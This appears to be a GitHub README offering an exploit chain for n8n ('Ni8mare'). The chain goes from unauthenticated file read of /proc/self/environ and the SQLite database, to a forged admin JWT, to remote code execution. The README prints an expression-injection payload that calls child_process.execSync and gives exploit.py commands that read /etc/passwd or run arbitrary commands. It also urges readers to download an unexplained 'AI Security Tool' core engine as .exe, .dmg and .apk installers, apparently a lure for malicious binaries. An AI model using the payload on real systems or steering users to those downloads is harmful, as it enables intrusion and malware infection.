zerodayevil/cve-2026-21858-n8n-fullchain🛡️ Official AI Security Tool module for CVE-2026-21858 + CVE-2025-68613 (n8n "Ni8mare" Unauthenticated Arbitrary File Read & Expression Injection RCE Full Chain).
This module provides diagnostic tools and a complete exploitation chain for n8n workflow automation instances, dubbed Ni8mare.
The attack chain combines an unauthenticated Arbitrary File Read (CVE-2026-21858) caused by Content-Type confusion with an authenticated Expression Injection Sandbox Bypass (CVE-2025-68613). By sending a manipulated Content-Type: application/json request to an exposed file upload form, an attacker controls the filepath argument to read internal system files (/proc/self/environ, configuration, and SQLite DB). The retrieved encryptionKey and password hash allow offline forgery of an administrator JWT cookie. Once authenticated, expression injection via this.process.mainModule.require escapes the JavaScript sandbox to execute arbitrary system commands.
"From file read to full system takeover in three steps."
While the file read requires an active form workflow with binary output, expression injection works reliably on default n8n installations without requiring special nodes or explicit system permissions enabled.
| Specification | Assigned Value | Notes |
|---|---|---|
| CVE Identifiers | CVE-2026-21858 + CVE-2025-68613 | Full Chain: Unauthenticated File Read to RCE |
| Severity Rating | Critical (CVSS v3.1: 10.0 + 9.9) | Unauthenticated RCE chain |
| Vulnerability Types | CWE-200 / CWE-94 | Content-Type Confusion / Code Injection |
| Affected Component | n8n Workflow Automation Engine | Versions <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Patched Versions | 1.121.0 (AFR) / 1.120.4+ (RCE) | Official vendor patches released |
| Privileges Required | None | Unauthenticated initial access via public form |
graph TD
A[Unauthenticated Attacker] -->|1. Content-Type Confusion| B[Vulnerable Form Endpoint]
B -->|2. Arbitrary File Read| C[Extract /proc/self/environ & database.sqlite]
C -->|3. Derive Secret & Hash| D[Forge Admin JWT Cookie]
D -->|4. Authenticate as Admin| E[n8n Workflow Engine]
E -->|5. Expression Injection Payload| F[Sandbox Escape via mainModule.require]
F -->|6. Execute Command| G[Full Remote Code Execution]={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}1.121.0 or higher.N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS=true and restrict process capabilities in Docker containers.⚠️ IMPORTANT: This module is built specifically for safe execution and diagnostics within the AI Security Tool ecosystem. Always use verified modules sourced from official repositories.
To execute the monitoring and diagnostic scripts, ensure the AI Security Tool core engine is installed:
| OS / Platform | Version | Architecture / Format | Release Date | Status | Download Link |
|---|---|---|---|---|---|
| 🪟 Windows | v6.3.20 | x64 Installer (.exe) | 2026-09-08 | 🟢 Latest | Download .exe |
| 🪟 Windows | v6.3.20 | x64 Portable (.tar.gz) | 2026-09-08 | 🟢 Latest | Download .tar.gz |
| 🍏 macOS | v5.3.29 | Apple Silicon M1/M2/M3 (.dmg) | 2026-09-05 | 🟢 Stable | Download .dmg |
| 🐧 Linux | v5.3.27 | Universal x64 (.tar.gz) | 2026-09-01 | 🟢 Stable | Download .tar.gz |
| 🤖 Android | v8a 5.3.27 | ARM64 APK (.apk) | 2026-09-01 | 🟢 Stable | Download .apk |
# Read arbitrary file via diagnostic module uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwdExecute full attack chain with custom command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
Vulnerability scanner modules, PoC scripts, and research repos maintained by our community:
5 modules@ZeroDayEvil
@ZeroDayEvil
@ZeroDayEvil
@ZeroDayEvil
@ZeroDayVPN
3 modules@ZeroDayEvil
@ZeroDayVPN
@ZeroDayEvil
2 modules@ZeroDayEvil
@ZeroDayVPN
This tool and technical analysis are provided strictly for authorized system auditing, research, and penetration testing.
Executing exploit chains against unauthorized targets is illegal. The authors assume no responsibility for unauthorized access, data loss, or system disruptions. Operate strictly within an authorized scope.
We welcome contributions from the security research community! Primary contribution areas:
AI Security Tool — Reimagining terminal workflow and automation for cybersecurity professionals.